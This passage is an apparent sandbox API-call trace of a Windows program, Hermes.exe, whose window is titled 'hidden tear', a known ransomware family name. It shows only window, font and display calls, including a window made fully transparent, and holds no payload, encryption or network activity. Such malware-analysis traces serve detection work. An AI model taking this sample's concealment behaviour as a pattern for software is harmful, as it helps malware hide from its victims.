(font=0x5541f08) returned 0x0 [0081.499] GetDC (hWnd=0x0) returned 0x10105d6 [0081.499] GdipCreateFromHDC (hdc=0x10105d6, graphics=0x19ebd0) returned 0x0 [0081.499] CoTaskMemAlloc (cb=0x5c) returned 0xf915a0 [0081.500] GdipGetLogFontW (font=0x554ef48, graphics=0x683f260, logfontW=0xf915a0) returned 0x0 [0081.517] CoTaskMemFree (pv=0xf915a0) [0081.518] CoTaskMemAlloc (cb=0x5c) returned 0xf915a0 [0081.518] CoTaskMemFree (pv=0xf915a0) [0081.518] CoTaskMemAlloc (cb=0x5c) returned 0xf915a0 [0081.518] CoTaskMemFree (pv=0xf915a0) [0081.518] GdipDeleteGraphics (graphics=0x683f260) returned 0x0 [0081.518] ReleaseDC (hWnd=0x0, hDC=0x10105d6) returned 1 [0081.519] CoTaskMemAlloc (cb=0x5c) returned 0xf915a0 [0081.519] CreateFontIndirectW (lplf=0xf915a0) returned 0x320a06fb [0081.519] CoTaskMemFree (pv=0xf915a0) [0081.519] SelectObject (hdc=0x8001068c, h=0x320a06fb) returned 0x8a01c2 [0081.519] GetTextMetricsW (in: hdc=0x8001068c, lptm=0x19ecdc | out: lptm=0x19ecdc) returned 1 [0081.520] GetTextExtentPoint32W (in: hdc=0x8001068c, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x3066dd0 | out: psizl=0x3066dd0) returned 1 [0081.520] GetCurrentProcess () returned 0xffffffff [0081.521] GetCurrentProcess () returned 0xffffffff [0081.530] SelectObject (hdc=0x8001068c, h=0x8a01c2) returned 0x320a06fb [0081.540] DeleteDC (hdc=0x8001068c) returned 1 [0081.540] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6eb70000 [0081.540] AdjustWindowRectEx (in: lpRect=0x19e9f8, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e9f8) returned 1 [0081.540] AdjustWindowRectEx (in: lpRect=0x19ec68, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50080 | out: lpRect=0x19ec68) returned 1 [0081.541] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6eb70000 [0081.541] AdjustWindowRectEx (in: lpRect=0x19e970, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e970) returned 1 [0081.541] AdjustWindowRectEx (in: lpRect=0x19eaa0, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50080 | out: lpRect=0x19eaa0) returned 1 [0081.541] GetSystemMetrics (nIndex=34) returned 136 [0081.541] GetSystemMetrics (nIndex=35) returned 39 [0081.541] GetCurrentActCtx (in: lphActCtx=0x19ef04 | out: lphActCtx=0x19ef04*=0x0) returned 1 [0081.541] ActivateActCtx (in: hActCtx=0xfec9cc, lpCookie=0x19ef14 | out: hActCtx=0xfec9cc, lpCookie=0x19ef14) returned 1 [0081.542] GetCurrentActCtx (in: lphActCtx=0x19ed24 | out: lphActCtx=0x19ed24*=0xfec9cc) returned 1 [0081.542] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e960000 [0081.542] AdjustWindowRectEx (in: lpRect=0x19ec38, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19ec38) returned 1 [0081.542] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0081.542] CreateWindowExW (dwExStyle=0x50080, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName="hidden tear", dwStyle=0x2cf0000, X=-2147483648, Y=-2147483648, nWidth=136, nHeight=58, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x30210 [0081.543] SetWindowLongW (hWnd=0x30210, nIndex=-4, dwNewLong=1952448832) returned 88689254 [0081.543] GetWindowLongW (hWnd=0x30210, nIndex=-4) returned 1952448832 [0081.543] SetWindowLongW (hWnd=0x30210, nIndex=-4, dwNewLong=88689374) returned 1952448832 [0081.543] GetWindowLongW (hWnd=0x30210, nIndex=-4) returned 88689374 [0081.543] GetWindowLongW (hWnd=0x30210, nIndex=-16) returned 114229248 [0081.543] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0x81, wParam=0x0, lParam=0x19e748) returned 0x1 [0081.546] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0x83, wParam=0x0, lParam=0x19e734) returned 0x0 [0081.547] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0x1, wParam=0x0, lParam=0x19e748) returned 0x0 [0081.547] GetClientRect (in: hWnd=0x30210, lpRect=0x19e400 | out: lpRect=0x19e400) returned 1 [0081.547] GetWindowRect (in: hWnd=0x30210, lpRect=0x19e400 | out: lpRect=0x19e400) returned 1 [0081.547] SetWindowTextW (hWnd=0x30210, lpString="hidden tear") returned 1 [0081.548] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0xc, wParam=0x0, lParam=0x3066660) returned 0x1 [0081.552] GetUserObjectInformationA (in: hObj=0x130, nIndex=1, pvInfo=0x30672ec, nLength=0xc, lpnLengthNeeded=0x19e2f8 | out: pvInfo=0x30672ec, lpnLengthNeeded=0x19e2f8) returned 1 [0081.554] SetConsoleCtrlHandler (HandlerRoutine=0x5494b06, Add=1) returned 1 [0081.555] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0081.555] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0081.556] GetClassInfoW (in: hInstance=0x400000, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWndClass=0x3067350 | out: lpWndClass=0x3067350) returned 0 [0081.561] CoTaskMemAlloc (cb=0x58) returned 0xfeb3f0 [0081.561] RegisterClassW (lpWndClass=0x19e248) returned 0xc170 [0081.561] CoTaskMemFree (pv=0xfeb3f0) [0081.561] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWindowName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x60030 [0081.562] NtdllDefWindowProc_W (hWnd=0x60030, Msg=0x83, wParam=0x0, lParam=0x19dd74) returned 0x0 [0081.563] NtdllDefWindowProc_W (hWnd=0x60030, Msg=0x1, wParam=0x0, lParam=0x19dd88) returned 0x0 [0081.563] NtdllDefWindowProc_W (hWnd=0x60030, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0081.563] NtdllDefWindowProc_W (hWnd=0x60030, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0081.565] GetStartupInfoW (in: lpStartupInfo=0x3067648 | out: lpStartupInfo=0x3067648*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0081.567] GetParent (hWnd=0x30210) returned 0x0 [0081.567] SetWindowLongW (hWnd=0x30210, nIndex=-8, dwNewLong=0) returned 0 [0081.568] GetSystemMetrics (nIndex=49) returned 16 [0081.568] GetSystemMetrics (nIndex=50) returned 16 [0081.568] CreateIconFromResourceEx (presbits=0x30676c8, dwResSize=0x468, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0xc0131 [0081.569] SendMessageW (hWnd=0x30210, Msg=0x80, wParam=0x0, lParam=0xc0131) returned 0x0 [0081.569] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0x80, wParam=0x0, lParam=0xc0131) returned 0x0 [0081.570] SendMessageW (hWnd=0x30210, Msg=0x80, wParam=0x1, lParam=0x38008b) returned 0x0 [0081.570] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0x80, wParam=0x1, lParam=0x38008b) returned 0x0 [0081.570] GetSystemMenu (hWnd=0x30210, bRevert=0) returned 0xc0095 [0081.580] GetWindowPlacement (in: hWnd=0x30210, lpwndpl=0x19ed34 | out: lpwndpl=0x19ed34) returned 1 [0081.580] EnableMenuItem (hMenu=0xc0095, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0081.580] EnableMenuItem (hMenu=0xc0095, uIDEnableItem=0xf030, uEnable=0x0) returned 0 [0081.580] EnableMenuItem (hMenu=0xc0095, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0081.580] EnableMenuItem (hMenu=0xc0095, uIDEnableItem=0xf120, uEnable=0x1) returned 0 [0081.581] EnableMenuItem (hMenu=0xc0095, uIDEnableItem=0xf000, uEnable=0x0) returned 0 [0081.581] GetClientRect (in: hWnd=0x30210, lpRect=0x19ed78 | out: lpRect=0x19ed78) returned 1 [0081.581] GetClientRect (in: hWnd=0x30210, lpRect=0x19ecd8 | out: lpRect=0x19ecd8) returned 1 [0081.581] GetWindowRect (in: hWnd=0x30210, lpRect=0x19ecd8 | out: lpRect=0x19ecd8) returned 1 [0081.581] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e960000 [0081.581] GetWindowLongW (hWnd=0x30210, nIndex=-16) returned 114229248 [0081.582] GetWindowTextLengthW (hWnd=0x30210) returned 11 [0081.582] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0081.582] GetSystemMetrics (nIndex=42) returned 0 [0081.582] GetWindowTextW (in: hWnd=0x30210, lpString=0x19ec24, nMaxCount=12 | out: lpString="hidden tear") returned 11 [0081.582] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0xd, wParam=0xc, lParam=0x19ec24) returned 0xb [0081.582] GetWindowTextLengthW (hWnd=0x30210) returned 11 [0081.583] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0081.583] GetSystemMetrics (nIndex=42) returned 0 [0081.583] GetWindowTextW (in: hWnd=0x30210, lpString=0x19ec24, nMaxCount=12 | out: lpString="hidden tear") returned 11 [0081.583] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0xd, wParam=0xc, lParam=0x19ec24) returned 0xb [0081.583] GetWindowLongW (hWnd=0x30210, nIndex=-16) returned 114229248 [0081.583] GetWindowLongW (hWnd=0x30210, nIndex=-20) returned 328064 [0081.583] SetWindowLongW (hWnd=0x30210, nIndex=-16, dwNewLong=47120384) returned 114229248 [0081.583] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0x7c, wParam=0xfffffff0, lParam=0x19ecd4) returned 0x0 [0081.583] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0x7d, wParam=0xfffffff0, lParam=0x19ecd4) returned 0x0 [0081.586] SetWindowLongW (hWnd=0x30210, nIndex=-20, dwNewLong=327808) returned 328064 [0081.586] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0x7c, wParam=0xffffffec, lParam=0x19ecd4) returned 0x0 [0081.587] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0x7d, wParam=0xffffffec, lParam=0x19ecd4) returned 0x0 [0081.587] SetWindowPos (hWnd=0x30210, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0081.588] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0x46, wParam=0x0, lParam=0x19ecec) returned 0x0 [0081.588] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0x83, wParam=0x1, lParam=0x19ecc4) returned 0x0 [0081.591] GetWindowPlacement (in: hWnd=0x30210, lpwndpl=0x19ea18 | out: lpwndpl=0x19ea18) returned 1 [0081.591] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0x47, wParam=0x0, lParam=0x19ecec) returned 0x0 [0081.591] GetClientRect (in: hWnd=0x30210, lpRect=0x19e9c8 | out: lpRect=0x19e9c8) returned 1 [0081.591] GetWindowRect (in: hWnd=0x30210, lpRect=0x19e9c8 | out: lpRect=0x19e9c8) returned 1 [0081.592] RedrawWindow (hWnd=0x30210, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0081.592] GetSystemMenu (hWnd=0x30210, bRevert=0) returned 0xc0095 [0081.592] GetWindowPlacement (in: hWnd=0x30210, lpwndpl=0x19ed24 | out: lpwndpl=0x19ed24) returned 1 [0081.592] EnableMenuItem (hMenu=0xc0095, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0081.592] EnableMenuItem (hMenu=0xc0095, uIDEnableItem=0xf030, uEnable=0x0) returned 0 [0081.592] EnableMenuItem (hMenu=0xc0095, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0081.592] EnableMenuItem (hMenu=0xc0095, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0081.592] EnableMenuItem (hMenu=0xc0095, uIDEnableItem=0xf000, uEnable=0x0) returned 0 [0081.593] ShowWindow (hWnd=0x30210, nCmdShow=5) returned 0 [0081.593] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0081.593] GetWindowTextLengthW (hWnd=0x30210) returned 11 [0081.593] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0081.593] GetSystemMetrics (nIndex=42) returned 0 [0081.593] GetWindowTextW (in: hWnd=0x30210, lpString=0x19e914, nMaxCount=12 | out: lpString="hidden tear") returned 11 [0081.593] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0xd, wParam=0xc, lParam=0x19e914) returned 0xb [0081.593] CoTaskMemAlloc (cb=0x94) returned 0xf915a0 [0081.598] CoTaskMemAlloc (cb=0x12) returned 0xfb34b8 [0081.619] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e960000 [0081.619] GetWindowLongW (hWnd=0x30210, nIndex=-16) returned 114229248 [0081.619] GetWindowTextLengthW (hWnd=0x30210) returned 11 [0081.619] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0081.619] GetSystemMetrics (nIndex=42) returned 0 [0081.619] GetWindowTextW (in: hWnd=0x30210, lpString=0x19e794, nMaxCount=12 | out: lpString="hidden tear") returned 11 [0081.620] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0xd, wParam=0xc, lParam=0x19e794) returned 0xb [0081.620] GetWindowTextLengthW (hWnd=0x30210) returned 11 [0081.620] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0081.620] GetSystemMetrics (nIndex=42) returned 0 [0081.620] GetWindowTextW (in: hWnd=0x30210, lpString=0x19e794, nMaxCount=12 | out: lpString="hidden tear") returned 11 [0081.620] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0xd, wParam=0xc, lParam=0x19e794) returned 0xb [0081.620] GetWindowLongW (hWnd=0x30210, nIndex=-16) returned 114229248 [0081.620] GetWindowLongW (hWnd=0x30210, nIndex=-20) returned 328064 [0081.620] SetWindowLongW (hWnd=0x30210, nIndex=-16, dwNewLong=315555840) returned 114229248 [0081.620] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0x7c, wParam=0xfffffff0, lParam=0x19e844) returned 0x0 [0081.631] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0x7d, wParam=0xfffffff0, lParam=0x19e844) returned 0x0 [0081.631] SetWindowLongW (hWnd=0x30210, nIndex=-20, dwNewLong=852096) returned 328064 [0081.631] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0x7c, wParam=0xffffffec, lParam=0x19e844) returned 0x0 [0081.632] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0x7d, wParam=0xffffffec, lParam=0x19e844) returned 0x0 [0081.633] SetWindowPos (hWnd=0x30210, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0081.633] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0x46, wParam=0x0, lParam=0x19e85c) returned 0x0 [0081.633] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0x83, wParam=0x1, lParam=0x19e834) returned 0x0 [0081.635] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0x85, wParam=0x16040701, lParam=0x0) returned 0x0 [0081.635] GetCurrentProcess () returned 0xffffffff [0081.636] GetCurrentProcess () returned 0xffffffff [0081.637] GetWindowPlacement (in: hWnd=0x30210, lpwndpl=0x19e5a4 | out: lpwndpl=0x19e5a4) returned 1 [0081.637] GetClientRect (in: hWnd=0x30210, lpRect=0x19e550 | out: lpRect=0x19e550) returned 1 [0081.637] GetWindowTextLengthW (hWnd=0x30210) returned 11 [0081.637] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0081.637] GetSystemMetrics (nIndex=42) returned 0 [0081.637] GetWindowTextW (in: hWnd=0x30210, lpString=0x19e410, nMaxCount=12 | out: lpString="hidden tear") returned 11 [0081.637] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0xd, wParam=0xc, lParam=0x19e410) returned 0xb [0081.637] GetClientRect (in: hWnd=0x30210, lpRect=0x19e458 | out: lpRect=0x19e458) returned 1 [0081.638] GetSysColor (nIndex=10) returned 0xb4b4b4 [0081.638] GetSysColor (nIndex=2) returned 0xd1b499 [0081.638] GetSysColor (nIndex=9) returned 0x0 [0081.638] GetSysColor (nIndex=12) returned 0xababab [0081.638] GetSysColor (nIndex=15) returned 0xf0f0f0 [0081.638] GetSysColor (nIndex=20) returned 0xffffff [0081.638] GetSysColor (nIndex=16) returned 0xa0a0a0 [0081.638] GetSysColor (nIndex=15) returned 0xf0f0f0 [0081.639] GetSysColor (nIndex=16) returned 0xa0a0a0 [0081.639] GetSysColor (nIndex=21) returned 0x696969 [0081.639] GetSysColor (nIndex=22) returned 0xe3e3e3 [0081.639] GetSysColor (nIndex=20) returned 0xffffff [0081.639] GetSysColor (nIndex=18) returned 0x0 [0081.639] GetSysColor (nIndex=1) returned 0x0 [0081.639] GetSysColor (nIndex=27) returned 0xead1b9 [0081.639] GetSysColor (nIndex=28) returned 0xf2e4d7 [0081.639] GetSysColor (nIndex=17) returned 0x6d6d6d [0081.639] GetSysColor (nIndex=13) returned 0xd77800 [0081.639] GetSysColor (nIndex=14) returned 0xffffff [0081.639] GetSysColor (nIndex=26) returned 0xcc6600 [0081.639] GetSysColor (nIndex=11) returned 0xfcf7f4 [0081.639] GetSysColor (nIndex=3) returned 0xdbcdbf [0081.639] GetSysColor (nIndex=19) returned 0x0 [0081.639] GetSysColor (nIndex=24) returned 0xe1ffff [0081.639] GetSysColor (nIndex=23) returned 0x0 [0081.639] GetSysColor (nIndex=4) returned 0xf0f0f0 [0081.639] GetSysColor (nIndex=30) returned 0xf0f0f0 [0081.639] GetSysColor (nIndex=29) returned 0xd77800 [0081.639] GetSysColor (nIndex=7) returned 0x0 [0081.639] GetSysColor (nIndex=0) returned 0xc8c8c8 [0081.639] GetSysColor (nIndex=5) returned 0xffffff [0081.639] GetSysColor (nIndex=6) returned 0x646464 [0081.639] GetSysColor (nIndex=8) returned 0x0 [0081.640] GetSystemMetrics (nIndex=80) returned 1 [0081.657] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x5494b56, dwData=0x0) returned 1 [0081.665] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x19e0b8 | out: lpmi=0x19e0b8) returned 1 [0081.666] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x1b01071d [0081.671] GetDeviceCaps (hdc=0x1b01071d, index=12) returned 32 [0081.671] GetDeviceCaps (hdc=0x1b01071d, index=14) returned 1 [0081.671] DeleteDC (hdc=0x1b01071d) returned 1 [0081.672] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0081.672] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0081.672] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0xffffffff9c0506d3 [0081.672] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0081.672] SaveDC (hdc=0x1e0106e1) returned 1 [0081.673] GetNearestColor (hdc=0x1e0106e1, color=0xf0f0f0) returned 0xf0f0f0 [0081.673] CreateSolidBrush (color=0xf0f0f0) returned 0x501006c7 [0081.674] FillRect (hDC=0x1e0106e1, lprc=0x19e2f8, hbr=0x501006c7) returned 1 [0081.674] DeleteObject (ho=0x501006c7) returned 1 [0081.674] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0081.678] GetWindowPlacement (in: hWnd=0x30210, lpwndpl=0x19e588 | out: lpwndpl=0x19e588) returned 1 [0081.678] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0x47, wParam=0x0, lParam=0x19e85c) returned 0x0 [0081.678] GetClientRect (in: hWnd=0x30210, lpRect=0x19e538 | out: lpRect=0x19e538) returned 1 [0081.678] GetWindowRect (in: hWnd=0x30210, lpRect=0x19e538 | out: lpRect=0x19e538) returned 1 [0081.678] RedrawWindow (hWnd=0x30210, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0081.678] GetSystemMenu (hWnd=0x30210, bRevert=0) returned 0xc0095 [0081.679] GetWindowPlacement (in: hWnd=0x30210, lpwndpl=0x19e894 | out: lpwndpl=0x19e894) returned 1 [0081.679] EnableMenuItem (hMenu=0xc0095, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0081.679] EnableMenuItem (hMenu=0xc0095, uIDEnableItem=0xf030, uEnable=0x0) returned 0 [0081.679] EnableMenuItem (hMenu=0xc0095, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0081.679] EnableMenuItem (hMenu=0xc0095, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0081.679] EnableMenuItem (hMenu=0xc0095, uIDEnableItem=0xf000, uEnable=0x0) returned 0 [0081.698] SetLayeredWindowAttributes (hwnd=0x30210, crKey=0x0, bAlpha=0x0, dwFlags=0x2) returned 1 [0081.699] CoTaskMemAlloc (cb=0x12) returned 0xfb3378 [0081.715] GetCurrentThreadId () returned 0xf30 [0081.743] EnumThreadWindows (dwThreadId=0xf30, lpfn=0x5494b7e, lParam=0x30210) returned 1 [0081.822] GetWindowLongW (hWnd=0x60030, nIndex=-8) returned 0 [0081.822] GetWindowLongW (hWnd=0x30210, nIndex=-8) returned 0 [0081.822] GetWindowLongW (hWnd=0x9004a, nIndex=-8) returned 197136 [0081.849] SetWindowLongW (hWnd=0x9004a, nIndex=-8, dwNewLong=0) returned 197136 [0081.854] GetParent (hWnd=0x30210) returned 0x0 [0081.854] GetWindowLongW (hWnd=0x30210, nIndex=-20) returned 852352 [0081.855] DestroyWindow (hWnd=0x30210) returned 1 [0081.855] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0081.855] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0x46, wParam=0x0, lParam=0x19e794) returned 0x0 [0081.858] GetWindowPlacement (in: hWnd=0x30210, lpwndpl=0x19e4c0 | out: lpwndpl=0x19e4c0) returned 1 [0081.858] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0x47, wParam=0x0, lParam=0x19e794) returned 0x0 [0081.858] GetClientRect (in: hWnd=0x30210, lpRect=0x19e470 | out: lpRect=0x19e470) returned 1 [0081.858] GetWindowRect (in: hWnd=0x30210, lpRect=0x19e470 | out: lpRect=0x19e470) returned 1 [0081.860] GetWindowTextLengthW (hWnd=0x30210) returned 11 [0081.860] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0081.860] GetSystemMetrics (nIndex=42) returned 0 [0081.860] GetWindowTextW (in: hWnd=0x30210, lpString=0x19e394, nMaxCount=12 | out: lpString="hidden tear") returned 11 [0081.860] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0xd, wParam=0xc, lParam=0x19e394) returned 0xb [0081.860] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0081.861] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x30210, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0081.863] GetCurrentActCtx (in: lphActCtx=0x19e7f8 | out: lphActCtx=0x19e7f8*=0xfec9cc) returned 1 [0081.863] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e960000 [0081.864] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0081.864] CreateWindowExW (dwExStyle=0x90080, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName="hidden tear", dwStyle=0x2cf0000, X=52, Y=52, nWidth=136, nHeight=58, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x7002e [0081.864] SetWindowLongW (hWnd=0x7002e, nIndex=-4, dwNewLong=1952448832) returned 88689254 [0081.864] GetWindowLongW (hWnd=0x7002e, nIndex=-4) returned 1952448832 [0081.865] SetWindowLongW (hWnd=0x7002e, nIndex=-4, dwNewLong=88689574) returned 1952448832 [0081.865] GetWindowLongW (hWnd=0x7002e, nIndex=-4) returned 88689574 [0081.865] GetWindowLongW (hWnd=0x7002e, nIndex=-16) returned 114229248 [0081.866] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x81, wParam=0x0, lParam=0x19e218) returned 0x1 [0081.866] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x83, wParam=0x0, lParam=0x19e204) returned 0x0 [0081.867] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x1, wParam=0x0, lParam=0x19e218) returned 0x0 [0081.867] GetClientRect (in: hWnd=0x7002e, lpRect=0x19ded0 | out: lpRect=0x19ded0) returned 1 [0081.867] GetWindowRect (in: hWnd=0x7002e, lpRect=0x19ded0 | out: lpRect=0x19ded0) returned 1 [0081.867] SetWindowTextW (hWnd=0x7002e, lpString="hidden tear") returned 1 [0081.867] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0xc, wParam=0x0, lParam=0x3068b80) returned 0x1 [0081.868] SetLayeredWindowAttributes (hwnd=0x7002e, crKey=0x0, bAlpha=0x0, dwFlags=0x2) returned 1 [0081.869] GetStartupInfoW (in: lpStartupInfo=0x3068e5c | out: lpStartupInfo=0x3068e5c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0081.870] GetParent (hWnd=0x7002e) returned 0x0 [0081.870] GetStockObject (i=5) returned 0x900015 [0081.870] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0081.871] CoTaskMemAlloc (cb=0x5c) returned 0x1010858 [0081.871] RegisterClassW (lpWndClass=0x19e6d4) returned 0xc171 [0081.871] CoTaskMemFree (pv=0x1010858) [0081.871] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0081.871] CreateWindowExW (dwExStyle=0x80, lpClassName="WindowsForms10.Window.0.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x6004e [0081.872] SetWindowLongW (hWnd=0x6004e, nIndex=-4, dwNewLong=1952448832) returned 88689614 [0081.872] GetWindowLongW (hWnd=0x6004e, nIndex=-4) returned 1952448832 [0081.872] SetWindowLongW (hWnd=0x6004e, nIndex=-4, dwNewLong=88689654) returned 1952448832 [0081.872] GetWindowLongW (hWnd=0x6004e, nIndex=-4) returned 88689654 [0081.872] GetWindowLongW (hWnd=0x6004e, nIndex=-16) returned 79691776 [0082.016] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x6004e, Msg=0x24, wParam=0x0, lParam=0x19e24c) returned 0x0 [0082.016] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x6004e, Msg=0x81, wParam=0x0, lParam=0x19e240) returned 0x1 [0082.016] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x6004e, Msg=0x83, wParam=0x0, lParam=0x19e22c) returned 0x0 [0082.018] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x6004e, Msg=0x1, 